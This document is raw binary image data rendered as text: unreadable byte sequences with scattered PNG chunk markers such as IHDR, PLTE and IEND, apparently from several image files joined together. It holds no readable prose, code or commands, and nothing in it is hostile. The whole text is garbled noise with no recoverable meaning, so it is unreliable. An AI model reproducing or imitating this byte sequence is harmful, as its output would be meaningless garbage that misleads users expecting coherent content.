ze.@qf?Bg *.Xx//@^Xv)ezgׁ⮁.ztM燝$;Cuə:KmTxET2:/~ԉ(vXQc:: ovͬ${t~8J'IrU@|w œ5Uګv{I>*蜵o~=H:mQ%0ӯYIvQWFUk+ ȏu
O
757$/Η]Ioֶ?{}ܬڍDש,UO2S}{X>Mzu)k`[~76(n y8
yur$ɦ \`{QRGْ]I*_yT
Oy0q:?f*ǽxhkqk$qw  Tzx{-];ed ܸA*pUU/{$!dm2gexo7z:[x?uxo韓7Y@z^{rhMzsYzz h$C*|IdGeSzhBø=[͟̩:kk4YI  
ƅ+5ְ>Yf,$uT*Jr.XnJtOθP>O^{ب#9Ove|KOrܻpCKNmZl4ʹ٬xvae8Xe_Vgըkzʮ#Lۥxrg%Q̥r+k$$95n Io@epyʹAT67&ϺjXH:+:+ՃƵ:u}g?&y+3$9ʵreyX;dkW
ԮJfK7u.$S<O@oXx;:Y9֐yuy~pk\W;Cg%	[k\$Mrv   d &I~NekdgnzsMd_J{ֻ%n:c+*zv|/>+ >=_$a$uDO16
~zI޽rjWw,ܽKl{ŗL^Z}}]N<5%Ot۽V'U#dC
֜m*vgHvP. ;IlųN>I=P/U}Lz$󠒬vf3/9ݯ仟Jr`mtO'ʙd  :$;:u*$xBoUf@MX\SJ${K/w?YqSlemtӉ$93rt6#fMm[J&`>xVָKgtC1zy|vJr*"I2_7I/w?%~ *πfX'z9_YQ3Wg. |I;+ymoZ4_d*<.Ͳa:;j[I>aeXIݿMb<=pok
.W2u:pKcure68k߯F%<,uбW2	2}6'[Ǽsv~J>1_N:zQ(LY;Gqg<z#qYٽsa\z5s^<.~%J{`
3u/@'ϣ+[%I>+d_q%g	\G5}c7teY묚F펚N+r5}n*繁OzaWz}SYOͅ>_,o7䝯}M2jq
X9=k$27o}XM%{{$C1swQ95cō$b>k%IvKu>5wdw\*vU52NCtf<PFE2LӷyY{bҟs2KC:t@~6F'WI2z&G_ܧIq_^eC'Qn&sO.RɃ:koף+Y3g`ex|joѪvʜsjB 0u^IN~MHڕO
Uy-)l_G3VxuZcx.'WN7*̮q2ӯY
VƳY:uyޕ|\xk`eV%\,^IvPGY=u?
y<:zuѰն賩$ssRzΙXvZ}f%;ٱJ@/P59+VJX*dַ++|*|KeeeM/:ٚ
Q7[157VVt:|ـ7/9;cgYIN2kUI|Rpz
x'<+gs@
˼lx*9Q$9. Z^W,9y-ju<IN>O~gyp˙kF2Wmx zo~=뽟`nJɾPXI*XI7OϗPӿoϳGdý~3yJ'|yQ05_ 9{ қ?U&l @<{d%zjwb!.@aa|Y'$8z}Jr]?JXԉھC _<N WCS%{3((
T.kPO>I^%k'<  L~'VM3OJ֙N;  ?t6ϖn2  @97<5=kpJ*Df}^'Xcp}E 镳&q?[F'\}Թ͟lj׌$(
   	JV_RI'7<]Gor2z[g ʗ>9N$T.
x_Z>GB}Wզ-#K  Cd*i+9i}$k:<@/{!+Im@9%p{WK]uJ2k$ɹ罟q7BI<
sT}g
j9x|92T.!>z_*$I}<9Qаz4SW>9ԫ@we֑Ig# p:ܟާ5OS{=k蹲o0rvtd%Iމ'C% wVy!ɩ|yV>_w3g+XĪVj{ E UV+9yϖs>8'zuG%.OΗo@s{r$I\Ϫ:U}r'ޛ]$k;t^}fܘ~$aV 5x&9ԨUdigU6ud'Gm9dܯNJKs֨O:)
:3'9q=-{U$y/q_> Vx~?]^IMi%IN{wvm
:95d\]mpQN2:$ɦWNUƬ$I6JN:k<ɉ_~ 5uWP6[+k_6ugn%|$ge^9yr}Q|NyX÷a.Tq)wYq.QY^Id60^I擣%'Mp3o5Hq ѰR1߭|$Ig$s.;$S9.u5S )}Qw
k^IFBT+U'ˏ0W /[_ 58$ݿX6L$oѵl\HUypqSӓA{$3^d
:0UN\Pp$
(
M2J,Ek_|$G_Ê"tqXkfFUsެdnd~l.$WJ=;` X @亩!SY5WRQ1+Uk-<zԬdڮN$sM#G3k[NB& \ @,=5,Y_kYD:$+wr_>c%;|FWTsjt6@Fo)'ٖX   up^+>bFG'uzr$zPљ\2'GwS^I>#ݟjWm*A$wc ~<N = @ x[,j}/cE9:t={^v]s*ٯzeDO_EU`IgkRͣN^P @9 6 ꌞ\`ՍCw;t15}WId2PɟȂuP;6X~ݜN}p
  :{w57IxdMbj}aIrf+9ӱʯ
ךppY   ]ɮd4mOצxuQeT>l uTã+Nniֱ>s_a_N~djPwٝ . C۳rj:&)+׾-U?;,&ׅWϚ'UsqaӧNeξN+EQ<0@.ٕ  
~%Y:og
U:>u^*ɱ\S㿃۽kyuVHTfXvoȍG?PN\{*:ٕR7  $Ԩy'tr<㮭5*~UfuެĵY9+SII8[Ũpˆ[6
=b?ԮH tQI+Opvkw*W5$k*{㿃>fg$X^S$d=ו0/qo~~U.m
f<p^0. *	^ɬ8SIe'-O5c/i$+'}<Sxk

WFS`kmR<@Cmy@%˝_Y
b =j:$O<+_yVqq{@Y/SXgqlK=ϝd,~#KxtBm
6:JrKr:Dm$t8;ɐ$'OV ʆs`~qYkyoJTF  e ct629 2R+_6t^ ۶pr=SK
.9zg
_]I6d?<}p <X=@65muJf75kj?,ٶ~w>A_S'.rS6֡΍'5I$O&Pg 7uX@Y	seWv'=kNg_`S[hs:qujx`]pII;yq }Q$ X"zJ2!𸁍Jއ^#G@eއaEɦm>uP7kTgq񫟎z::қ Ϻ#[\+u:kdr,ܸQIWg$7="m15Jpg<,B僮SƯ~*J`_8:f$&x^rf^.+5p- tvϝ}]zy 
2~AkV%g΀	lOFU>>_΃ Mft3YzI6/[u}  tN:yܛ:U+ymM{^9Е865?1^^r~Ι z@tZ;u<Ez'P7=jtN90jn[^+C)uU>jߨ
Sٛ穜[N?*w錕ujˆ2k{f<|Đ
^;_Ɯ7<*dͽ>>S*~kbj0w%yV眇:Nr:Tn v](ʩr@];UA''d^S]llj.ԼNb_mtNgX/:$\<+5NNrCkIɑZ@! TNG	+$P
YI4~g:85\V	"A"dsIpOM5+66X77Z6,IsIvb_P?Cص}a*=l@U#d[yKٙfmPG5ƶVu؝zx Xl
n"{MSXJz_k۞~[7?

:
;]g^=YW%2PyuqoWgt$9j1֑3h:/Vg
3p!g%OzN4\+X8vVq>I}nYXJI&Tkk\S8uXI5::$Pq @O[o |) 9/hNCe=lPtN^o= kn>do>kvU  @@0}.X~/*ɻLћ?ҟMbkes1*Id?'ݕSQo=
Esc3ze*ҳ 6d1 $>YstFE6cg}gW6TTv3er*oTf
 C'u]o>>d{$  8jbf)G {SgS{wf%JrK@ޯO֒c2pUGӑ=xL)@tW}lO3v$9Q3 M[qyMmWi6= *$kÏ:QDާIr-=+\@z̬ϑYcלV$ٕlrS9:$_}6XX[
~1٦wejx J+OݟtNӓdyY澏:0ud>`mjP9ʬdxgls	wڰlXۗ?lSk9.۞Kr^IrP餞{rЛuux3dfW|:?x-[eV2V~>VXgiɶ2P?djG}[m@S-՟^7 8'[>M6h9eszsou8${jB*WaYgvzM)kPNvO
Pm}oO>>/ p j{ooѕOXǦ?&_Kw
*>qmt򲢓]ٵuV0cg5n7Ywg3#G^{q6Y+9W#~/!S}Cޠrmt7:N&R@dPzcpj@e<lACcXN"ssp/g<e;{?~cWZg~Ͽ?$uqUN2ecT"s
+ɠmlf}}+yk5=)wWSi=Yf5ή9W$y%P_Κs.=gM}6d
+s}f<}
 k)ϝLΝ5U/W
/?m뎸7$'$f囿߯&Åsf$̾nöԬF^..@Ɔ[Ͳ+d8y:g{POùUo au$g%9ޅ%XpgX=|aC'}_M32.. 7XxկY{pGd6*./w/?mQa%k}sV
j盿?O.S'wve`\*:8c4\ FP	p[/Nes: 7 _'=w/Y7<1Q<1di2T@Fwt$Tt}*cOA@):bYg%#ӠU-LUz$I$IXx^̻jYYTdsd39*Y0??R08   zzCua vw 8 8h#I܉!wg]Xsf߀VUwN'd;#HHFAw   @ќdh\@]k?NPF3I5́yUL9cq1f;NZ`*yUL}RUP   `v^6KT;P Tm$3IДzIzf$c<)aQhIrgI0[w}G 
0E_. lqk; N,f$I~kؘ=k$2:7CP$0rIjpgjՌ6}( Ys48Z=MV]}>z&ٲY+i+t4Fl0z>2lcVX\y,f2@@-f#
8=$~ת]c$$Ix~B-9]N*k~7eF!Κ PQB+N'aJ2y9Tcqr dמP?kLf#q$]c˒,Boן=qU3o>lkɶ*8ppQM' sUjdmcQןN ߞ`hUyczkJ,Q$4܌=كsi׬ן?
(G}\l  c7`%Z_BR
|GVkc6J皛Gs%?C1857<_ƨ<1}R3o`rtGI c6pؠc .1J5Uk?Y |D"qc3ƶg%c伓F;WFzpq<_ԛ4PUiC`ծ6 89Gs'm^_}zU?wd062s${5{/#!m$%H<>'X^'Q~J0q `pi`,6 IJcTu}A,:,r EvL5ȞSޥO3O^g_j/3I,#j8 8ͱ(5؜(:dӌ6b
wFdvVYY{u3f}25V?3ɝa6ڛj;I%Yƽlh`@at0.=MݡwCJNsK;<E[ri{imf9=3IL@ZpS}/}LdXj4 6 0']7  71
m\20WOcڸ챒ʵVO1tg[lI.i0e<殘$W]5	  @zJf(v΁~\cs,I2+e|&ʱkKv2j3I#so@Z3#{V>'΃ `
	  Fz-T׾+4Wu64cgK%`lMl$G?C%#=Yx/fmJG%7 @Lp =̮;oV٣X#
Z~0%T4&<PCvxXȣd<̼Ϡ^fU'^` r    4Iϟ?8G=#L>44 ڴOI=ЮdvmXI?$n#g̮%9 r    $?ǿ
+J-FpԆj'0
3/?>tT3gLAH?\FOuyv%HǿsQQA*TP
TS  prj~wOAmFXhF85~1=jTSo+tMFr<b$Z|g~Qʂ3  N  
 X fqr8=G^Y==3Ƿ=ƪllOOIŐUc=fd>z䕱ܒA:8*}@ 
  q1v/7o?ak. Şy4_KfoVmC6%?1=Kx$>k>42v2sITW∱
 , F;-/gW4Ʈ
ZPUo/rTv`&]lP 1>	d4?Jl{.seu%$[s\fG3s,Z1^8] s `]W5Z8>9/>/;{0n陏fc`jZ?kxN:zu~Im3YfW$ٓʩ'X 0hhp6_}ls0أ8&O
.I$]@Ilڲƪ֭|]O_s${ffv3'	0Z  
  d}\X=7}8T> 2k͑1{#k6Qv6lSwD̬R?0~?oa'͵:#fvX.P
  ,w1f<snAeOmq1=Z3Aa|Xi6GȦmg"9$k_ߪme̛}K-|9Ezp̞n&VM8{ بM*cJ2',7f4$#F	/߭\qg .Ka.c1b&{$$kȾxV#    mg0'oրgge
3y,98Ys!4  |!\x6\/3y+S`g ./ 
   p143ـGe)Z$}<LvuLpiƛ_c
c];3QyW>SxJWM{߀TA  &N 8ʹjӵ:GS`
eK8Vw詺Wg;e՛8
.tDlc,tOIeF|);d,?p2rT e	FԽ*YGƺ$ jxa)Tz{`\~kPrg1~Ìɛ=WR?-c=s}$6呓ռdh 	IfRk}T^go:8ͱcJV{$hȚ=aܻΗ?5FٵվܒWjH1Y*=740qf'Io/-
 sX5$lcuU/5e"PXɚqumΟ}Di1QmB$mlwٴ X#p$Iwc52=Ұp}Qg:Ils3*_~1Y#I2.rj;땹+FlcV:"ɁcI?yoZ  ƚqW 2%_'YTH-I|sm3k++dK61ʗq
$#uL/8IVF>'oadc{9*IR]2ѩkdL_0.sk$I$I̞ܮ<מ8	^#?$$+YLȮ*yvy$c\c;I㘫27#{O/Yx?FKi/Y
jeJ$IٓLSNg=nB^ߘIy'
UX\.s? -fsb$K;G_equO8P#+3)LT
=W%$ɻN6vI]H>GXu7*r<mT_ds.#e\l5g+2WTz%e3V}]VLjcv}iYg@-TZ%Iwy{&`ݝI\lS=V98М*߭n=Xlcqq$q.}ZFdؒI#<M}.#I0u}vxdd̼$>$W83Ojlby
|U
*3wIsZsa5_}`T)V"$k5x&g/7?&M%kf%#{0spmd噌ܯ?%I7I sYO>\WЫ9nW[ef&La82o?4~10D.\NҖ̝<Vq~cNv|E5f=\Iz_yW_'  4dw9
o^Q}ݕ43杬1{;ȸ̃U?|Y/?fS̚I$yn8>CÈdvTťg5tNdS|HHd.`Ұ~ҬZbddע-^
<̌U$l#g63Kfl<e3+1k:v1lB-d`=N;+#I$~̛w7$I
ci 
N'rz3T:Yh=g^0{QPKb>[YI5ֆs#{4c.؎>gW6ֱF'f*I&w_|:Y
JfzO	Nj^jv`5,{\kVY\3d3Y'̌1>$1k$1ָ٨l$Ie$ZԵqZf$jc6r_%?$I^eU3=B-f^F?y5ծ0N Ƣfc"`;ed\s>ff&{f٭j$=]_fYͬ$=}$I	3yet@ɫmV*8N6Z%۱-f$Ce㨑5o?I:/RYedTk$Iz&=;jl8+*Tu}0gӦ/~
R+j%=7fduZc%IrY$#{=k4êF)	##2jG!3fH<xl
 4#M!͉Ɂ%k+w2kpG]k$̦ FI23c<묙iI-L6fFVyTWgn^Ι$\:86OI`׽F	WQ[_$&gNkcqsBcVIfJFcqMq]jSX%鑌Ekn7A:@Y gh\k<_O8Խ͞8Wruvqcd4Yc#Y3l#o?>7c%_ǩvX4&u,̞ޜ6 Ԣj&	1  |&//7̽aq?IG[G3g26zWs?ʖZ~>V~`NcUꕍꍀ9#az<,'Ʈ>e<iA99}6Yfମ̚;͡kc#
;k57udeעƮOg4J
{1G6;Y3.malcU~o:Ž<(L'C

>1ߡF҇멒_@^WmMbxfh0۞Z,db8	fKs3V/xދziiLp<߸^ȪܧWq
ߍ=)I̱0ח~hƢz\c_~>!u,8Gk.#;鱆+P
usՂy46pk̵zt5|	?}ze90,˯~hRIެ}1^3^Qә;ɷgcclIy1n䘝>Ӝ揿9vhu`d͚1́st3ΒG)ja,TH53:A$IWVkQ{$f}Z
6_T4mHܹY3#/O|]eaFW<tm\w*T.3f c(:*y:$Lҵ*c&=x4H싣Q#2Y$a$kԧ}Y=~]iVp
_쵒Nw3Q7|yO~l@]:pm=JvFG90wʻ3/w5Tk$s$l/ټ,gʷi<>,Z2!J`w37xyl^>̿_pas՟lf+\8T暁d=5Q#Yq2\[%IhQF5}qӰ*UyT>{$sO~ܳ>GMӞI^:	Q`9fb^6Zs\#I\y{Bz$IVB6zS;$JQe9TԒdv$,
ݏ?dgedYY}$!w#tݏe8<s7*6cXIdW^}Μ;/JkNo'fd^|gd'+k &wiveoml8O}gMc]_7jLX
FVgY+pBU\s$<֨$cZXse]I2$kՒʣaģ4lћ_Cm
cܝpAe1\c^]!is掵G*y/sE8mP I|[FɎc^Np|l_}4i'?{ޚڜgR}f陞GviqXP^Y$TJ>*J?uWyDq

F#];ɺ7 T,i\TzPݣ] 4jƚwNj3YJMcf4u}0'j`~iTv]ΑvFe9{K_gQfqhsc1˵^LHg:iݗr6S[Uוq	P=kp\r=$YV(cv-(8Y8ɚcw)տ'<;ڰvꮶ2窾m97'Vm]qJ
`TR0%]/OBm$Iيuڤ '*XsAEe^W#y5B^j's뙭r%p*cy\3	@9ǏҔjtqQ]*/G޼'`pX>c<1㤖Nsט?7ꮼ?pȧ}Mh\5wm{Ft3ASkdT60 3cU60Lm⠀ 2Sp43srNk7>퓋f0frosQT$@ 3IXz^ 68+Hz Ը.9	en3
h딜Φ494\>9@TL$Yc^0Ʈ2Oꀑ;٠^pf2M-v@%4dͼ ^Fuw5Gb)ٳ
8绹o?o8Ui3^ˏY?M]iHAÂ1۝,PYU#L`ݲ1H 4~`޻:kΖ䑵H}9iNZsls 
*BD6J,@@Y.+
z,#ki cNԪb@-noTvߝ0RϛO>ص,|zq6V {COf+``U68kN
N]#LjކO~weBgهY`g-pE:/`7Ň͡4
#itRɻg탂S`
u?ǪV邳1a&?T>IvJmOc~EI0uA+T,W=wcdnɁiGy̱ 8Va`;c Xe׶̽P[͞
Jy1H/`Eh.+O7pνX4PZ,,#I)m&[I,chPî XG1ve]6qB9F Y3v8b\W5g4^r7&Y5>$f9f^LGm4ࢦmffQQ8Q07q&M8.G_Fcچ_ї[;c=1N$Id.ƪ$	%Qk*y
T35yXv|ؕ8Ī=;[ ,c)JrHZ'کti#IĮg7}μZH TրsbX+r8x.Ɖٕ3֧]MeL5ZW _}΂l=euh^ڱƝMV3
ȫL=dXc 0Q8ƈ<TJ<>b4M`c>eoF3V}X?OscQ8z|a>Ҩ6r21;P
c$>/~̍Jٌydls]S7Z{\ 8 hݳTXcSyiޟ.c<m5K,'03v3iQsD$:Me    IENDB`PNG

   
IHDR     @   h  PLTELiqUaiddd;=?TWX_eiUe\ddd`daSh{lll7kMkkkiiihhhfffL=hOllliiigggMhff<iNkjjjjjbfcdfe<iNBiQ.jF*iCiiiL?iOBjR=mQLhggMgffM󨨨0jG˾DkSiiiHս/hFMJLҤMNfff{{{gt@ėRdddzBnll֎բцgcaĹYssshggkkkבzbl˸_`_ڠoHywv&nCɶѧ{\[oŔcTpXXZ}}}ogڛzɗe^]yvۙȬslsf]`ȅwQ̐}oٗîjVHqXa\LGo3иjB\QǊ~uwrܻuLɨ̢Xda̞p`yg~]yDaUiywnPXXcqRRSʺ뒻=`RǑW;   etRNS !	%3*
`EO$~wZЗ=`kCP~>Պrh*q\:>ƷŽG$~  *IDATxiXN7 @A}ݺU2Ʉ6) !HvM /ԭZ}pd3̐Ac03g1=?SN=+rAp}9r7!Æ6y2d[8|񌀑gw Pܹ[-z|gO[UZun˞=4dAIXo vcG#N9S'AgY^&n-|ש	_&\BKAK}}p;U'@'g@0F,{ O9m*`4 0SvlBjIRn[wގݖT`K
Fqv4נJа#mA+WRZ	ÿ Gnܸq0PfrӧfZw~j`ȝIAD-׌S_r۠q*.{Ba~~2w&2>׸T@HHM5BHMH+Ʈgŕ89SlB+E0нD+*UYd(Ԟ;jAD|pauN3ֱx
SSB,P?9Yu@
#U'Po,R_ Wy%])J7~"A_]גl{`OiqFqi?a뇪c'q@蛀'U
RuڵC;[I} ;F*-/7МH/SAA]RhPn^1LHK<GXCQ VZy鮂vw"@?UPABu`1J` ,s,VLC\7NW[=;>J {_5AnɃP [12@ºl]	^5CH$3W 1J̞}ÎMxZs
JŬ ɀRwG`Vj(l!b	o悤_no0_B8t b#}|Pt]ss !feGss]txw?f1K VE,^d6
BrUߝ 1%H2zuHEL1An^nb\R
Ф+Wbf@f|-9p6R<RI
7FBh9kpD|y9lr.X"UxΤQ =q4L|~];Qh :Z"w¹s8؋I&]#cFO{6'垽v[,?soa [gn;@4/dHE[WuҀ9~~P,.\`YlBI	?#zè5IFI5Ǳesũ---0wATEpڟ]nVwy͏1熣;~ ޗ&}Q(JKc\8huqM B:kn?odw@0F,LvԋVе{ 8nt~gbb#ssp/>艣:;o_KW|
 *ضݍW^yz
 ўy-w3(6s)ӕv&FX;_JOkb6U&CX}e:YSLW]֧?S+bE͈VsB0ޫnËb\iyy<)(,$+6Z|ЕFܥ֌"ˣZ5Hy^Y0b"JG
PȊ@ t#壨E)B{p:JI ^ջB}\o"a1	WZM2\i|9tH2|zlΔx*j`jSbJGr(tgPn! Bz/ˠ!lr*YTBg}TS|}QST>|ɟg7mM>ܸ4݆{TǦW 6>*P	:݁V%0O4KTeSLY&qUaa#lnՓm]iJ+td>Z2g&11Q.#hs%E5}²頁
`	FlE֕
E9WSRR|E<B</{UR6ń(zX;I(%Kh%|U3ii1^Mڹ,6}sxݻ Est¢-ErYYA!#Wzl)7/%ƱvtX-G'̴MLl
(šd]iMU6Jg@, l"(ȁ+MJG"q<oALV-
cVdey"Aڕր &%lc-tyi=^*3M024p]L)3%RiuoR{pY̨
=p&K:m]A[,fl.u8}z5ԕ8=y=(wCQWz|"o?+Bƣtw@\f%BG-4Iͩ FkEKQKsUcHd7\5FƮZ͵Ɏ\I^=c$!OJ7s@ۚ(Wq drǛCTS:){{ob%4U/F_|ʕi\0oj
Ɔ[{=+РB!ȳO1Qt[%b
Oi,??F4<cȊ%Қ"(L.EkPk\6?2})zxK1@{& Bo'cQMG@(=2M7F, ڃu5''qQM,ј6t͕N艣o*|_q)@OsJ;SN9?c    IENDB`PNG

   
IHDR     Z   "Fv  PLTELiqQH['kED4HeH Pt TxM=;DITG]JJ>M[Q=E:L3[9JI5<IF?.}JBLN4S]IB;8J   *z_68E;AHRFFFSF$w`TC$wA&x=   VDctJܯӼGܻ߻╽}¥ծؽz攼˨lГ5Ud_YsƊgŖ*zwfώpRȿ`M$xT>鍹_1voBهȨٻk⎹yĤܭܷ՞כӷNg   RtRNS K
*0-4!&u[LAThu7؋I=2VŮkgBަ"kahot  OIDATx	|Sm\1	[HIҴY˒ղjYdYX%[5q6aBKh0iB6KNgy={%[LG/W޴=?wRJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)RJ)Tk7m"7mZ{VH)RӢUCVk^jQI)RJ/h~qz='GtMJ_SJ鿪21g_/Z=g^WVR;:'Q{SCJs{M3<Ɩjll|y#ny%}֪&+hVc0҄^N֌qǆ?mz,1%~%_s+yںss[/~+7~~xÇ/}hS}Y@#EFv,6?Bel]/wlV;/ߵb9O"'-TRڤj^o}k@OͻrsI«܂XH{9Ji^3)IgѢ+G|\od|'3233vp@R{M{%u\ޞWl
515luk%"_ݵp9?_DRd56<n
QK69iUXOڹ}ڱl+<(:M2إH8L_X_aeEk]O7kN?XS7yjǶXfs!_xRQ.]b۩O;㛓_رjIW)ox<,MPLJ>m8OO
E*BxN*ssLm7O!dЏb@x0yv5[׍~UW%s0#3AԸ/Ф7X?B{(=|w t23?I׆նG~0+^
L&Z 8E?W/>|QȢ9'=m#0]KT6CtT'dٗ8}zr~HD#yt^o:!ұ=prZ, }2@W]\_8yR]Y)}߸,^FՕ[W:'U4E'D"ǙYVf,vuly{	) ʤoSPvL.jڰ쥩u4ȱVN-2ʞ[?'/bGNlN?|݄nW4|X
eWM2h7iUy3M)5/M)ѰJ)WG޿+S,BN*"~9 ^ҭbGR#&P (3*Dnʯ*Tdq^Q~c=Ft.tar
l_{
{	-+0:ɠ'de]~-_ߒ>`!JBU}mA_*ԉ
P2d0uB)=s=>qSN
err <}=Do2wQY<(Xecv%`g--yi|qb5'a֦Pv^}x2BLXD\Ȓn+rmI[1'qJ*"X)i(^G
y:ר\},/qeETQoU+chW/@yXJ

zBV+ټQ1WY)ذ=
lt
I\n)K4`AVHSKNO=2p@-OП8r!J&]dʵ3bKnڪ	T'+:@h؟@8r%0ܼ,+-3;R
nQ&bQJnM	jbd8MFJ5:*D
JxУx^d\eܺ8[ŹV(EUH-EU
X72NAx
IM8ѷE	8'@hTv/X;V^?EWTH"%Cw<5̀da=* }(^:xٳ'?y?ON§(?޹Z*
,,B>{ H@W|Q7QERvnSy(;|z+Xfuɮ3Z"i#-_ormt:γj_1?Noz~e%2-\W&/jE19u{	}E~yΌ`*gHTзXF]\pT2!zw^23huJyV17tv4
B2P5E,ut400ܹSw<~FEu+*M _#lK?Z15aQ7ʢ"`fp+OHyǶ0Q-񳩳NJ]u\	2=j.S6
POh
3TbH_<Rdt( ؏R逼Me'hYKxgIVǃzD)AT Qiؑ&}MǽrY[Ι\CYM
v_Y)P^`Q
_ༀ*[>O 7D*깄;`zف g8 jUW(Yڇ
$2ag
;#6w;/IHrDE4o(s
ŻOEY2UTJW&a4#AIMl]uup
P'㪭&ժBmM:8uLFI-">uר4E|Cs8%HBzvZ<.Eejj_v;í(֝ZMcg99 #c3JNTgPIFs
mY[l$[Nܼ^s厲Y-7xj1$^d޽K4t Rb5S1"fpԹΞ8}cNCNdzWGB3-Euܧ2ك>eA9zJkkѠ_߉8x"-OgN*2d7m#5HA='J# z@(MTXo:uNUnu@]]u5l=T#ןWOy|o,t:A!=/
v! 7;G1RXHq!G=`9^dU3*/3Iؤ&fl&|v.']L+o%Ҥ8yRwmhBQiZ)`
wͅ?9<TXw乳=QٵSl..i	>|h
ҋ	Twb)Np.Aq^X?=O=0Z7{w#]6Z	L>xU*v)j
t9BU.ۦ2
:SX!%8_k|PŜ68O`lZ}Xye!CF[Mg@q<Rd-@@_bjkA--]q"+DR@	A63y~v/{$"df>Y+
mR1XM?Ζ= A]@ȹ*"z.Dv>.#<q@20`j61/Qg=̞e&V|IF#mzypX]~4Ϟ@GR7dS7k\/*RA[P}-aBBLjPX]Lj@-q=px"$҇.Aف=8?L{s7BmV+5LA7wvv="y$*@@B1=38yDF<]9<eBJ?{bN!AhM({.d+-<#K-ZcsDX^}3Eec	<6</[ ʜ{O7I&pkOk>8/-&~8Ov}L[<'L2g#Xh{I@04OjKik4.$T5EGh
B;UCW0Ӑ.H
HT]ynjߛvOZ*z!JmAd]=٩#j?3q"	$&hH5y?[ү̫t*ɤY&
+F{*]UJ5zB%:HR0BHrZfZ)ݧ㯔uWCRC:E?\Y~w[UR$r,lH=`Nz,'+|*EqqA)QYW&RMB&ʉ@Atld1vd>1%uJ(pWy 	
m`MۜBjGB)+ʻ6K 0T@z(xVk(v
f9B}o2C^	īLpXj#U.% r9B=yc=&ĉ,BO{K($GF.O&3!U8o;O%rʎWI)D}|6H̍Xyuωx& @рa	8M3ُ0{m:}
>r#~飳'$Ʋ|تijeF)+JY	rg8
{`Ѕ%	J8$ak̦-;ըOV-b&0E&1)ށw=A?Dt:v`<-
mYPKK`@źbRk5c9}\8UWm
H/?l`qGIO#@dxkӐmiYɷ З!y!}1oћLrLdXl({I<v
1]M#|X ShN7E10kuaPpsp?[O_׽p(~SG\:~~kHw
%1wX]f+qп,Y*'/[r8_	mm8z{	}7B
P"K<q5Ot[Pc1@zz5:&
 =]W劢摶p+P:@E(z(jP20籖c!u#/FIOjJ2C{3Ӥz(yĲr1ˣ/M+xWIL /R*omY>c%c,04"ѠgC̍
wS78S73<U:ur3Ǐ}ѩ1_oɹO<ɵ1<7N
}I}I_^^_BNQ{3r9%|GtP[[ JA"TJ"O5OQho&IUiD9.:$3El$]p)aЃに5$`M zS-*MEoUNZxD+i5mB@YX^hT×̕e'fw[uTi2ؖ<mAw<łEAL#z8%T
e%Y&6_$8(cDgEU}X55[g5N	)+6cی̰NwO J>8}
܏?w훳GukJ<
VPryĕ>L@[>c+Dn3g) }sI⼳=&۝8;v"3R@:zMe*y*&?A≥hrap4
"jh9y$Qm5yU108\c6ADwSpv*\!\EA6+IQ8tJJDE>({|/~cVG6O|瑄 =z: D
 IOnDWuc4u@g^Oߟ4g-;"&qq\;bXl*Փd$ajBFg"m=%qPFWVsq'QS8~{]p8x!fw$
zk	)uhsҚ0Q3
gVbi
y_mm`
^鬭E;?%#a&806_E׉ *>+gxq kY(ה5$kp$M oo
wJو ȨKBŵmAz*G$ɨFTe&hFXrΒ5.-
X3!W#`􏑾LO-OͅJ
3=:@Gn% .0;J$ʓ8;z
w\.Au料h<_bVqkófl_2Hђndt6cuVw;a
U@CXT櫮xm<?7pȑ_ěb1c:#!}Eq	BiTU\Aaf L6᠏rVRum}}ã
dWa6\%Π
7f
&<,VK5I:t,V2@/TPe6E\nMY_d;"Im{eVZ\b:#B$mˮr
hSH_tFb һ .3'é7S~%>Y У2鱐U_'pـJbAlVֲūm>)Hݸ}9r~%[r|8#稈`Sq:+JF1l6{̌]>qd q9{-x6z3
h_y@EQջ`"i8nUQEp`nt܌_ryI|CP]gdPGÊuC

'd><X p*HQ*Է3%[z	ÔwM.)gr=KMMMGL	A l&QvE5<
Яx̓==aٰpd`7ȠbOMBSD&yԹU 	2TV!=Og-jmmgR?~&kIKG(c\@</\6wu
7k=
b	r1W!
SPHo!IgjƄ,L13b+"z }刺:?>E>9+YmzwH`j5;-˛<LumnNʷ3tWO49/ʔtf.y&Rs*,K#&$#NT#r7^`9š憡΋ zj@-?	mDL"LMR!z k0 CzDK6IpuM{CQ 	
-[~b4yDQ'ޅ\QMtykICӘ}O1*w!:M<T)Z)##u3q<"vL#`P<j`0Z=im[g6c+O@ 񃘮~?x/E?*8'? MP1O'Մ@L0U2h⪩"&,|xW׏yp$}Ggzgݿv&_xx{BZ{ZgCiNd=`|TarIV_$Q6Cm
ʇmDW^(le3_\64$BJd&^₇DHo7O{C+)V!OY;\q/D\K@%oBd(<Ѫ܃	a_	>_;3i~X6cK um奿.//7毋]ZuYtVT:RWrAcLoTS\UnKڱBW>z:#G秾^	k|&](Kƃ	-ǀTJSg"Hyh(`eG8-fsCe4)٨Aْ0JhPZjɡ,Wx<?EL'+)\/&
<)֖nX1\HM(W˨2QT"X
.ńqu<-v/rII_4
Qi\/Σ&\qɠǔ4Џ͓I]>)@A>֙[CTU_7!Hgk+Շ	jԦ+;NL=J3g_j~d;wfď|<yK	'G+'=19,F`cͣSVCE4=%%5Ca*%@o'bPMI'1g-No`fVE(|:K0!Ɨˌ_E$t! h.gEC~{/ADF}6at=r'~!DI0;u2ӵO1>qm2I6N
2^(F8MD·\崣o	}@Dz>X)Eaa'^]gA믫r믋"|9*Px>?ua<x)0ACc'W<f68cgh(ED]>v1挓0#=@M="@Ԇ@o8+](^'ň@o[J0獡PWk;xvi?ә[B!c"_mrL|E/bF&yƩM=|$F}=D%*]3y,(h~RT!<Ρ~8"nt-IqUTQˈ'!Y,j-_UP|ЀސɠoÄjJa&
ER>@ݣߋ}٫gۿ'L_LԥcӉRc=S]Q6Ӄ%ZGú4{ŏ3RO_=q0S~涏[N}r*0x'====S$wFQo?ae~+){\8УHVlWjamkU$s}V|z=Ûy*yNEiĀ2Nm2A'B،AP5o zѐN(+suhmny
oB/$&i>vNCvN`Ԋ):V+AMٷ"緺ڍj+$d7&rhØPrr(nwuBÒ& at<9tV|49믋ao>s.ǯYMH$ozMZ2fG.[	
L<|Y|	Nc8e}XKa_p"QaT~hbDꫧCDL[n@B,Z!`R`#zX핖BpJ|ק8?:,BbL8os%Ky@y`*k鋳{"wQ(D60c^q٤NX&"ewնuw]\B=Pt#ON)x*X|h}&>îɤ1Nz`1憀|ozWGz&SIcji}^D_(!Fӳ*d%dSN#{<nH#ؤ;KyqG
P9_0o_4\[LjK?Kzvи}AG|WWzdMhُ}4Z_{:XK^	=ZM`fN"6kUzԌ\>[#k)E
